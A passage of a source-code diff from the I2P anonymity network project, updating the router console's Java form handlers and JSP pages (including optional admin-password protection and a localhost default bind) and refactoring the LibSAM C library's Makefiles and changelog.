} catch (NumberFormatException nfe) {
// ignore
}
if ( (rateKBps > 0) && (burstSeconds > 0) ) {
int kb = rateKBps * burstSeconds;
_context.router().setConfigSetting(ConfigNetHelper.PROP_INBOUND_BURST, "" + kb);
updated = true;
}
}
String outRate = _context.router().getConfigSetting(ConfigNetHelper.PROP_OUTBOUND_KBPS);
if (_outboundBurst != null) {
int rateKBps = 0;
int burstSeconds = 0;
try {
rateKBps = Integer.parseInt(outRate);
burstSeconds = Integer.parseInt(_outboundBurst);
} catch (NumberFormatException nfe) {
// ignore
}
if ( (rateKBps > 0) && (burstSeconds > 0) ) {
int kb = rateKBps * burstSeconds;
_context.router().setConfigSetting(ConfigNetHelper.PROP_OUTBOUND_BURST, "" + kb);
updated = true;
}
}
if (updated)
addFormNotice("Updated bandwidth limits");
}
}

View File

@ -6,6 +6,7 @@ import java.util.List;
import java.util.Iterator;
import java.util.TreeMap;
import net.i2p.time.Timestamper;
import net.i2p.util.Log;
import net.i2p.router.RouterContext;
@ -30,8 +31,8 @@ public class ConfigNetHelper {
public ConfigNetHelper() {}
/** copied from various private TCP components */
private final static String PROP_I2NP_TCP_HOSTNAME = "i2np.tcp.hostname";
private final static String PROP_I2NP_TCP_PORT = "i2np.tcp.port";
public final static String PROP_I2NP_TCP_HOSTNAME = "i2np.tcp.hostname";
public final static String PROP_I2NP_TCP_PORT = "i2np.tcp.port";
public String getHostname() {
return _context.getProperty(PROP_I2NP_TCP_HOSTNAME);
@ -50,8 +51,8 @@ public class ConfigNetHelper {
}
public String getEnableTimeSyncChecked() {
String enabled = System.getProperty("timestamper.enabled");
if ( (enabled == null) || (!"true".equals(enabled)) )
String enabled = _context.getProperty(Timestamper.PROP_DISABLED, "true");
if ( (enabled == null) || (!"true".equalsIgnoreCase(enabled)) )
return "";
else
return " checked ";
@ -74,7 +75,7 @@ public class ConfigNetHelper {
if (rate != null)
return rate;
else
return "Unlimited";
return "-1";
}
public String getInboundBurstFactorBox() {
String rate = _context.getProperty(PROP_INBOUND_KBPS);

View File

@ -0,0 +1,109 @@
package net.i2p.router.web;
import java.util.List;
import java.util.ArrayList;
import net.i2p.util.Log;
import net.i2p.router.RouterContext;
import net.i2p.router.ClientTunnelSettings;
/**
* Simple form handler base class - does not depend on servlets or jsp,
* but instead the subclasses are populated with javabean properties. e.g.
* <jsp:setProperty name="handler" property="*" />
*
* The form is "processed" after the properties are set and the first output
* property is retrieved - either getNotices() or getErrors().
*
*/
public class FormHandler {
protected RouterContext _context;
private List _errors;
private List _notices;
private boolean _processed;
public FormHandler() {
_errors = new ArrayList();
_notices = new ArrayList();
_processed = false;
}
/**
* Configure this bean to query a particular router context
*
* @param contextId begging few characters of the routerHash, or null to pick
* the first one we come across.
*/
public void setContextId(String contextId) {
try {
_context = ContextHelper.getContext(contextId);
} catch (Throwable t) {
t.printStackTrace();
}
}
/**
* Override this to perform the final processing (in turn, adding formNotice
* and formError messages, etc)
*
*/
protected void processForm() {}
/**
* Add an error message to display
*/
protected void addFormError(String errorMsg) {
if (errorMsg == null) return;
_errors.add(errorMsg);
}
/**
* Add a non-error message to display
*/
protected void addFormNotice(String msg) {
if (msg == null) return;
_notices.add(msg);
}
/**
* Display any error messages (processing the form if it hasn't
* been yet)
*
*/
public String getErrors() {
return render(_errors);
}
/**
* Display any non-error messages (processing the form if it hasn't
* been yet)
*
*/
public String getNotices() {
return render(_notices);
}
private String render(List source) {
if (!_processed) {
processForm();
_processed = true;
}
if (source.size() <= 0) {
return "";
} else if (source.size() == 1) {
return (String)source.get(0);
} else {
StringBuffer buf = new StringBuffer(512);
buf.append("<ul>\n");
for (int i = 0; i < source.size(); i++) {
buf.append("<li>");
buf.append((String)source.get(i));
buf.append("</li>\n");
}
buf.append("</ul>\n");
return buf.toString();
}
}
}

View File

@ -29,8 +29,8 @@ public class LogsHelper {
StringBuffer buf = new StringBuffer(16*1024);
buf.append("<h2>Most recent console messages:</h2><ul>");
buf.append("<code>\n");
for (int i = 0; i < msgs.size(); i++) {
String msg = (String)msgs.get(i);
for (int i = msgs.size(); i > 0; i--) {
String msg = (String)msgs.get(i - 1);
buf.append("<li>");
buf.append(msg);
buf.append("</li>\n");

View File

@ -0,0 +1,48 @@
package net.i2p.router.web;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.List;
import net.i2p.router.RouterContext;
import net.i2p.router.admin.StatsGenerator;
public class OldConsoleHelper {
private RouterContext _context;
/**
* Configure this bean to query a particular router context
*
* @param contextId begging few characters of the routerHash, or null to pick
* the first one we come across.
*/
public void setContextId(String contextId) {
try {
_context = ContextHelper.getContext(contextId);
} catch (Throwable t) {
t.printStackTrace();
}
}
public OldConsoleHelper() {}
public String getConsole() {
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream(128*1024);
_context.router().renderStatusHTML(baos);
return baos.toString();
} catch (IOException ioe) {
return "<b>Error rending the console</b>";
}
}
public String getStats() {
StatsGenerator gen = new StatsGenerator(_context);
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream(32*1024);
gen.generateStatsPage(baos);
return baos.toString();
} catch (IOException ioe) {
return "<b>Error rending the console</b>";
}
}
}

View File

@ -32,4 +32,14 @@ public class ProfilesHelper {
}
return new String(baos.toByteArray());
}
public String getShitlistSummary() {
ByteArrayOutputStream baos = new ByteArrayOutputStream(4*1024);
try {
_context.shitlist().renderStatusHTML(baos);
} catch (IOException ioe) {
ioe.printStackTrace();
}
return new String(baos.toByteArray());
}
}

View File

@ -1,13 +1,22 @@
package net.i2p.router.web;
import java.io.IOException;
import java.util.List;
import net.i2p.router.RouterContext;
import org.mortbay.jetty.Server;
import org.mortbay.jetty.servlet.WebApplicationContext;
import org.mortbay.http.handler.SecurityHandler;
import org.mortbay.http.HashUserRealm;
import org.mortbay.http.HttpRequest;
import org.mortbay.http.SecurityConstraint;
import org.mortbay.util.MultiException;
public class RouterConsoleRunner {
private Server _server;
private String _listenPort = "7657";
private String _listenHost = "0.0.0.0";
private String _listenHost = "127.0.0.1";
private String _webAppsDir = "./webapps/";
public RouterConsoleRunner(String args[]) {
@ -25,10 +34,15 @@ public class RouterConsoleRunner {
public void startConsole() {
_server = new Server();
WebApplicationContext contexts[] = null;
try {
_server.addListener(_listenHost + ':' + _listenPort);
_server.setRootWebApp("routerconsole");
_server.addWebApplications(_webAppsDir);
contexts = _server.addWebApplications(_webAppsDir);
if (contexts != null) {
for (int i = 0; i < contexts.length; i++)
initialize(contexts[i]);
}
} catch (IOException ioe) {
ioe.printStackTrace();
}
@ -39,6 +53,41 @@ public class RouterConsoleRunner {
}
}
private void initialize(WebApplicationContext context) {
String password = getPassword();
if (password != null) {
HashUserRealm realm = new HashUserRealm();
realm.put("admin", password);
realm.addUserToRole("admin", "routerAdmin");
context.setRealm(realm);
context.addHandler(0, new SecurityHandler());
SecurityConstraint constraint = new SecurityConstraint("admin", "routerAdmin");
constraint.setAuthenticate(true);
context.addSecurityConstraint("/", constraint);
}
}
private String getPassword() {
List contexts = RouterContext.listContexts();
if (contexts != null) {
for (int i = 0; i < contexts.size(); i++) {
RouterContext ctx = (RouterContext)contexts.get(i);
String password = ctx.getProperty("consolePassword");
if (password != null) {
password = password.trim();
if (password.length() > 0) {
return password;
}
}
}
// no password in any context
return null;
} else {
// no contexts?!
return null;
}
}
public void stopConsole() {
try {
_server.stop();

View File

@ -1,5 +1,7 @@
package net.i2p.router.web;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.text.DecimalFormat;
import net.i2p.data.DataHelper;
@ -62,6 +64,18 @@ public class SummaryHelper {
else
return DataHelper.formatDuration(router.getUptime());
}
/**
* Retrieve amount of used memory.
*
*/
public String getMemory() {
DecimalFormat integerFormatter = new DecimalFormat("###,###,##0");
long used = (Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory())/1024;
long usedPc = 100 - ((Runtime.getRuntime().freeMemory() * 100) / Runtime.getRuntime().totalMemory());
return integerFormatter.format(used) + "KB (" + usedPc + "%)";
}
/**
* How many active peers the router has.
@ -301,11 +315,25 @@ public class SummaryHelper {
}
}
/**
* How many client destinations are connected locally.
*
* @return html section summary
*/
public String getDestinations() {
ByteArrayOutputStream baos = new ByteArrayOutputStream(1024);
try {
_context.clientManager().renderStatusHTML(baos);
return new String(baos.toByteArray());
} catch (IOException ioe) {
_context.logManager().getLog(SummaryHelper.class).error("Error rendering client info", ioe);
return "";
}
}
/**
* How many free inbound tunnels we have.
*
* @param contextId begging few characters of the routerHash, or null to pick
* the first one we come across.
*/
public int getInboundTunnels() {
if (_context == null)

View File

@ -1,5 +1,4 @@
<%@page contentType="text/html"%>
<%@page pageEncoding="UTF-8"%>
<%@page contentType="text/html" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head>
@ -9,13 +8,19 @@
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<%@include file="notice.jsp" %>
<jsp:useBean class="net.i2p.router.web.ConfigNetHelper" id="nethelper" scope="request" />
<jsp:setProperty name="nethelper" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<div class="main" id="main">
<%@include file="confignav.jsp" %>
<jsp:useBean class="net.i2p.router.web.ConfigNetHandler" id="formhandler" scope="request" />
<jsp:setProperty name="formhandler" property="*" />
<jsp:setProperty name="formhandler" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<font color="red"><jsp:getProperty name="formhandler" property="errors" /></font>
<i><jsp:getProperty name="formhandler" property="notices" /></i>
<form action="config.jsp" method="POST">
<b>External hostname/IP address:</b>
<input name="hostname" type="text" size="32" value="<jsp:getProperty name="nethelper" property="hostname" />" />
@ -29,7 +34,8 @@
to <a href="http://www.whatismyip.com/">www.whatismyip.com</a>.</i>
<hr />
<b>Enable internal time synchronization?</b> <input type="checkbox" <jsp:getProperty name="nethelper" property="enableTimeSyncChecked" /> name="enabletimesync" /><br />
<i>If disabled, your machine <b>must</b> be NTP synchronized</i>
<i>If disabled, your machine <b>must</b> be NTP synchronized - your clock must always
be within a few seconds of "correct".</i>
<hr />
<b>Bandwidth limiter</b><br />
<b>Inbound rate</b>:
@ -44,8 +50,12 @@
<hr />
<b>Reseed</b> (from <input name="reseedfrom" type="text" size="40" value="http://dev.i2p.net/i2pdb/" />):
<input type="submit" name="reseed" value="now" /><br />
<i>May take some time to download the peer references</i>
<hr />
<input type="submit" value="Save changes" /> <input type="reset" value="Cancel" />
<input type="submit" name="save" value="Save changes" /> <input type="reset" value="Cancel" /><br />
<i>Changing the hostname or TCP port will force a 'soft restart' - dropping your connections
and clients as if the router was stopped and restarted. <b>Please be patient</b> - it may take
a few seconds to complete.</i>
</form>
</div>

View File

@ -9,16 +9,25 @@
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<%@include file="notice.jsp" %>
<jsp:useBean class="net.i2p.router.web.ConfigAdvancedHelper" id="advancedhelper" scope="request" />
<jsp:setProperty name="advancedhelper" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<div class="main" id="main">
<%@include file="confignav.jsp" %>
<jsp:useBean class="net.i2p.router.web.ConfigAdvancedHandler" id="formhandler" scope="request" />
<jsp:setProperty name="formhandler" property="*" />
<jsp:setProperty name="formhandler" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<font color="red"><jsp:getProperty name="formhandler" property="errors" /></font>
<i><jsp:getProperty name="formhandler" property="notices" /></i>
<form action="configadvanced.jsp" method="POST">
<textarea rows="20" cols="80" name="config"><jsp:getProperty name="advancedhelper" property="settings" /></textarea><br />
<input type="submit" value="Apply" /> <input type="reset" value="Cancel" />
<textarea rows="20" cols="100" name="config"><jsp:getProperty name="advancedhelper" property="settings" /></textarea><br />
<input type="submit" name="shouldsave" value="Apply" /> <input type="reset" value="Cancel" /> <br />
<b>Force restart:</b> <input type="checkbox" name="restart" value="force" /> <i>(specify this
if the changes made above require the router to reset itself - e.g. you are updating TCP ports
or hostnames, etc)</i>
</form>
</div>

View File

@ -9,13 +9,19 @@
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<%@include file="notice.jsp" %>
<jsp:useBean class="net.i2p.router.web.ConfigClientsHelper" id="clientshelper" scope="request" />
<jsp:setProperty name="clientshelper" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<div class="main" id="main">
<%@include file="confignav.jsp" %>
<jsp:useBean class="net.i2p.router.web.ConfigClientsHandler" id="formhandler" scope="request" />
<jsp:setProperty name="formhandler" property="*" />
<jsp:setProperty name="formhandler" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<font color="red"><jsp:getProperty name="formhandler" property="errors" /></font>
<i><jsp:getProperty name="formhandler" property="notices" /></i>
<form action="configclients.jsp" method="POST">
<b>Estimated number of clients/destinations:</b>
<jsp:getProperty name="clientshelper" property="clientCountSelectBox" /><br />
@ -24,7 +30,7 @@
<b>Default number of hops per tunnel:</b>
<jsp:getProperty name="clientshelper" property="tunnelDepthSelectBox" /><br />
<hr />
<input type="submit" value="Save changes" /> <input type="reset" value="Cancel" />
<input type="submit" name="shouldsave" value="Save changes" /> <input type="reset" value="Cancel" />
</form>
</div>

View File

@ -11,10 +11,16 @@
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<%@include file="notice.jsp" %>
<div class="main" id="main">
<%@include file="confignav.jsp" %>
<jsp:useBean class="net.i2p.router.web.ConfigLoggingHandler" id="formhandler" scope="request" />
<jsp:setProperty name="formhandler" property="*" />
<jsp:setProperty name="formhandler" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<font color="red"><jsp:getProperty name="formhandler" property="errors" /></font>
<i><jsp:getProperty name="formhandler" property="notices" /></i>
<form action="configlogging.jsp" method="POST">
<b>Logging filename:</b>
<input type="text" name="logfilename" size="40" value="<jsp:getProperty name="logginghelper" property="logFilePattern" />" /><br />
@ -29,9 +35,12 @@
<input type="text" name="logfilesize" size="4" value="<jsp:getProperty name="logginghelper" property="maxFileSize" />" /><br />
<hr />
<b>Log levels:</b> <br />
<b>Default log level:</b>
<jsp:getProperty name="logginghelper" property="defaultLogLevelBox" /><br />
<jsp:getProperty name="logginghelper" property="logLevelTable" />
<hr />
<input type="submit" value="Apply changes" /> <input type="submit" value="Apply and Save" /> <input type="reset" value="Cancel" />
<input type="submit" name="shouldsave" value="Save changes" />
<input type="reset" value="Cancel" />
</form>
</div>

View File

@ -9,7 +9,6 @@
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<%@include file="notice.jsp" %>
<div class="main" id="main">
hmm. we should probably have some help text here.<br />

View File

@ -0,0 +1,2 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>I2P Router Console</title></head>
<body><meta http-equiv="refresh" content="0;url=index.jsp" /><a href="index.jsp">Enter</a></body></html>

View File

@ -9,7 +9,6 @@
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<%@include file="notice.jsp" %>
<div class="main" id="main">
<h2>Welcome to your router console</h2>

View File

@ -9,7 +9,6 @@
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<%@include file="notice.jsp" %>
<div class="main" id="main">
<jsp:useBean class="net.i2p.router.web.LogsHelper" id="logsHelper" scope="request" />

View File

@ -8,11 +8,14 @@
[<a href="config.jsp">configuration</a> | <a href="help.jsp">help</a>]
</div>
<h3>
<h4>
<a href="profiles.jsp">Profiles</a> |
<a href="netdb.jsp">Network Database</a> |
<a href="logs.jsp">Logs</a>
<a href="logs.jsp">Logs</a> |
<a href="oldconsole.jsp">Old console</a> |
<a href="oldstats.jsp">Stats</a> |
<a href="i2ptunnel/" target="_blank">I2PTunnel</a>
<jsp:useBean class="net.i2p.router.web.NavHelper" id="navhelper" scope="request" />
<jsp:setProperty name="navhelper" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<jsp:getProperty name="navhelper" property="clientAppLinks" />
</h3>
</h4>

View File

@ -9,7 +9,6 @@
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<%@include file="notice.jsp" %>
<div class="main" id="main">
<jsp:useBean class="net.i2p.router.web.NetDbHelper" id="netdbHelper" scope="request" />

View File

@ -1 +0,0 @@
<%=(null != request.getParameter("i2p.console.notice") ? request.getParameter("i2p.console.notice") : "")%>

View File

@ -0,0 +1,21 @@
<%@page contentType="text/html"%>
<%@page pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head>
<title>I2P Router Console - home</title>
<link rel="stylesheet" href="default.css" type="text/css" />
</head><body>
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<jsp:useBean class="net.i2p.router.web.OldConsoleHelper" id="conhelper" scope="request" />
<jsp:setProperty name="conhelper" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<div class="main" id="main">
<jsp:getProperty name="conhelper" property="console" />
</div>
</body>
</html>

View File

@ -0,0 +1,21 @@
<%@page contentType="text/html"%>
<%@page pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head>
<title>I2P Router Console - home</title>
<link rel="stylesheet" href="default.css" type="text/css" />
</head><body>
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<jsp:useBean class="net.i2p.router.web.OldConsoleHelper" id="oldhelper" scope="request" />
<jsp:setProperty name="oldhelper" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<div class="main" id="main">
<jsp:getProperty name="oldhelper" property="stats" />
</div>
</body>
</html>

View File

@ -9,12 +9,14 @@
<%@include file="nav.jsp" %>
<%@include file="summary.jsp" %>
<%@include file="notice.jsp" %>
<div class="main" id="main">
<jsp:useBean class="net.i2p.router.web.ProfilesHelper" id="profilesHelper" scope="request" />
<jsp:setProperty name="profilesHelper" property="contextId" value="<%=(String)session.getAttribute("i2p.contextId")%>" />
<jsp:getProperty name="profilesHelper" property="profileSummary" />
<hr />
<a name="shitlist"> </a>
<jsp:getProperty name="profilesHelper" property="shitlistSummary" />
</div>
</body>

View File

@ -7,6 +7,7 @@
<b>Ident:</b> <jsp:getProperty name="helper" property="ident" /><br />
<b>Version:</b> <jsp:getProperty name="helper" property="version" /><br />
<b>Uptime:</b> <jsp:getProperty name="helper" property="uptime" /><br />
<b>Memory:</b> <jsp:getProperty name="helper" property="memory" /><br />
<hr />
<u><b>Peers</b></u><br />
@ -25,6 +26,8 @@
<b>Used:</b> <jsp:getProperty name="helper" property="inboundTransferred" />/<jsp:getProperty name="helper" property="outboundTransferred" /><br />
<hr />
<jsp:getProperty name="helper" property="destinations" />
<u><b>Tunnels</b></u><br />
<b>Inbound:</b> <jsp:getProperty name="helper" property="inboundTunnels" /><br />
<b>Outbound:</b> <jsp:getProperty name="helper" property="outboundTunnels" /><br />

View File

@ -4,14 +4,14 @@
"http://java.sun.com/j2ee/dtds/web-app_2.2.dtd">
<web-app>
<!-- precompiled servlets -->
<session-config>
<session-timeout>
30
</session-timeout>
</session-config>
<welcome-file-list>
<welcome-file>
index.jsp
</welcome-file>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

View File

@ -1,27 +0,0 @@
Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of any contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,25 @@
#
# This Makefile contains instructions common to all platforms
#
#
# Build rules
#
all: clean depend libsam
depend:
$(CC) $(CFLAGS) -MM $(SRCDIR)/*.c > .depend
$(OBJDIR)/%.o: $(SRCDIR)/%.c
$(CC) $(CFLAGS) -o $@ -c $<
libsam: $(OBJS)
$(AR) rcs $(LIBDIR)/libsam.a $(OBJS)
#
# Cleanup rules
#
clean:
-$(RM) -f $(LIBDIR)/libsam.a $(OBJDIR)/*.o .depend

View File

@ -3,7 +3,7 @@
#
#
# Your operating environment
# Your operating system
#
OS = CYGWIN
@ -23,12 +23,13 @@ SRCDIR = src
AR = ar
CC = gcc
RM = rm
#
# Flags
#
CFLAGS = -g -march=i486 -O2 -pipe -std=c99 -Wall
CFLAGS = -g -O2 -pipe -std=c99 -Wall
CFLAGS += -DOS=$(OS)
CFLAGS += -I$(INCDIR)
@ -41,25 +42,7 @@ OBJS = $(OBJDIR)/sam.o \
$(OBJDIR)/strl.o
#
# Build rules
# Include the make instructions common to all platforms
#
all: depend libsam
depend:
$(CC) $(CFLAGS) -MM $(SRCDIR)/*.c > .depend
$(OBJDIR)/%.o: $(SRCDIR)/%.c
$(CC) $(CFLAGS) -o $@ -c $<
libsam: $(OBJS)
$(AR) rcs $(LIBDIR)/libsam.a $(OBJS)
#
# Cleanup rules
#
clean:
-rm -f $(LIBDIR)/libsam.a $(OBJDIR)/* .depend
tidy: clean
include Makefile.common

View File

@ -1,5 +1,5 @@
#
# This Makefile is compatible with GNU Make (gmake) and should work on FreeBSD
# This Makefile is compatible with GNU Make and should work on FreeBSD
#
#
@ -23,6 +23,7 @@ SRCDIR = src
AR = ar
CC = gcc
RM = rm
#
# Flags
@ -39,25 +40,7 @@ CFLAGS += -I$(INCDIR)
OBJS = $(OBJDIR)/sam.o
#
# Build rules
# Include the make instructions common to all platforms
#
all: depend libsam
depend:
$(CC) $(CFLAGS) -MM $(SRCDIR)/*.c > .depend
$(OBJDIR)/%.o: $(SRCDIR)/%.c
$(CC) $(CFLAGS) -o $@ -c $<
libsam: $(OBJS)
$(AR) rcs $(LIBDIR)/libsam.a $(OBJS)
#
# Cleanup rules
#
clean:
-rm -f $(LIBDIR)/libsam.a $(OBJDIR)/* .depend
tidy: clean
include Makefile.common

View File

@ -1,5 +1,5 @@
#
# This Makefile is compatible with GNU Make and should work on Linux (generic)
# This Makefile is compatible with GNU Make and should work on Linux
#
#
@ -23,6 +23,7 @@ SRCDIR = src
AR = ar
CC = gcc
RM = rm
#
# Flags
@ -40,25 +41,7 @@ OBJS = $(OBJDIR)/sam.o \
$(OBJDIR)/strl.o
#
# Build rules
# Include the make instructions common to all platforms
#
all: depend libsam
depend:
$(CC) $(CFLAGS) -MM $(SRCDIR)/*.c > .depend
$(OBJDIR)/%.o: $(SRCDIR)/%.c
$(CC) $(CFLAGS) -o $@ -c $<
libsam: $(OBJS)
$(AR) rcs $(LIBDIR)/libsam.a $(OBJS)
#
# Cleanup rules
#
clean:
-rm -f $(LIBDIR)/libsam.a $(OBJDIR)/* .depend
tidy: clean
include Makefile.common

View File

@ -23,12 +23,13 @@ SRCDIR = src
AR = C:\Dev-Cpp\bin\ar
CC = C:\Dev-Cpp\bin\gcc
RM = C:\Dev-Cpp\bin\rm
#
# Flags
#
CFLAGS = -g -march=i486 -O2 -pipe -std=c99 -Wall
CFLAGS = -g -O2 -pipe -std=c99 -Wall
CFLAGS += -DOS=$(OS)
CFLAGS += -I$(INCDIR)
@ -40,25 +41,7 @@ OBJS = $(OBJDIR)/sam.o \
$(OBJDIR)/strl.o
#
# Build rules
# Include the make instructions common to all platforms
#
all: depend libsam
depend:
$(CC) $(CFLAGS) -MM $(SRCDIR)/*.c > .depend
$(OBJDIR)/%.o: $(SRCDIR)/%.c
$(CC) $(CFLAGS) -o $@ -c $<
libsam: $(OBJS)
$(AR) rcs $(LIBDIR)/libsam.a $(OBJS)
#
# Cleanup rules
#
clean:
-rm -f $(LIBDIR)/libsam.a $(OBJDIR)/* .depend
tidy: clean
include Makefile.common

1
apps/sam/c/README Normal file
View File

@ -0,0 +1 @@
See the `docs' directory for documentation and license.

View File

@ -0,0 +1,3 @@
The author is Matthew P. Cashdollar, who can be reached via email at
mpc@innographx.com. The official LibSAM distribution site is at
http://www.cashdollar.org/libsam

View File

@ -5,5 +5,4 @@ I need to do these things:
Anyone can help with these things:
* Fix the example dgram-client.c
* Compile on as many platforms as possible

View File

@ -1,6 +1,14 @@
v1.25
/* vi:set ts=4: */
v1.25 2004-07-31
* Created I2P-Ping, a new example program (it's a clone of I2Ping). Works
on Posix only, because it uses getopt().
* Removed the old broken examples and added more comments to
warhammer-dgram.c
* Added support for sessions - now LibSAM can have multiple SAM sessions
going at once (with different destinations)
* Rewrote sendq functions to automatically send big packets, for better
network performance
network performance (still considered experimental)
v1.20 2004-07-11
* Ported to FreeBSD (Makefile.freebsd)

View File

@ -1,42 +0,0 @@
#
# This Makefile is compatible with GNU Make
#
#
# Programs
#
CC = gcc
#
# Flags
#
CFLAGS = -g -O2 -pipe -std=c99 -Wall
CFLAGS += -I../inc -L../lib
LIBS = -lsam
#
# Build rules
#
all: dgram-client dgram-server warhammer-dgram
dgram-client:
$(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c
$(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS)
dgram-server:
$(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c
$(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS)
warhammer-dgram:
$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
$(CC) $(CFLAGS) -o warhammer-dgram warhammer-dgram.o $(LIBS)
#
# Cleanup rules
#
clean:
-rm -f *.o *.exe dgram-client dgram-server warhammer-dgram

View File

@ -0,0 +1,20 @@
#
# This Makefile contains instructions common to all platforms
#
#
# Build rules
#
all: clean warhammer-dgram
warhammer-dgram: warhammer-dgram.c
$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
$(CC) $(CFLAGS) -o warhammer-dgram warhammer-dgram.o $(LIBS)
#
# Cleanup rules
#
clean:
-$(RM) -f warhammer-dgram *.exe *.o

View File

@ -7,36 +7,19 @@
#
CC = C:\Dev-Cpp\bin\gcc
RM = C:\Dev-Cpp\bin\rm
#
# Flags
#
CFLAGS = -g -O2 -pipe -std=c99 -Wall
CFLAGS += -DWINSOCK
CFLAGS += -I../inc -L../lib
LIBS = -lsam -lwsock32
#
# Build rules
# Include the make instructions common to all platforms
#
all: dgram-client dgram-server warhammer-dgram
dgram-client:
$(CC) $(CFLAGS) -o dgram-client.o -c dgram-client.c
$(CC) $(CFLAGS) -o dgram-client dgram-client.o $(LIBS)
dgram-server:
$(CC) $(CFLAGS) -o dgram-server.o -c dgram-server.c
$(CC) $(CFLAGS) -o dgram-server dgram-server.o $(LIBS)
warhammer-dgram:
$(CC) $(CFLAGS) -o warhammer-dgram.o -c warhammer-dgram.c
$(CC) $(CFLAGS) -o warhammer-dgram warhammer-dgram.o $(LIBS)
#
# Cleanup rules
#
clean:
-rm -f *.o *.exe dgram-client dgram-server warhammer-dgram
include Makefile.common

View File

@ -0,0 +1,24 @@
#
# This Makefile is compatible with GNU Make and should work on POSIX systems
#
#
# Programs
#
CC = gcc
RM = rm
#
# Flags
#
CFLAGS = -g -O2 -pipe -std=c99 -Wall
CFLAGS += -I../inc -L../lib
LIBS = -lsam
#
# Include the make instructions common to all platforms
#
include Makefile.common

View File

@ -1,130 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
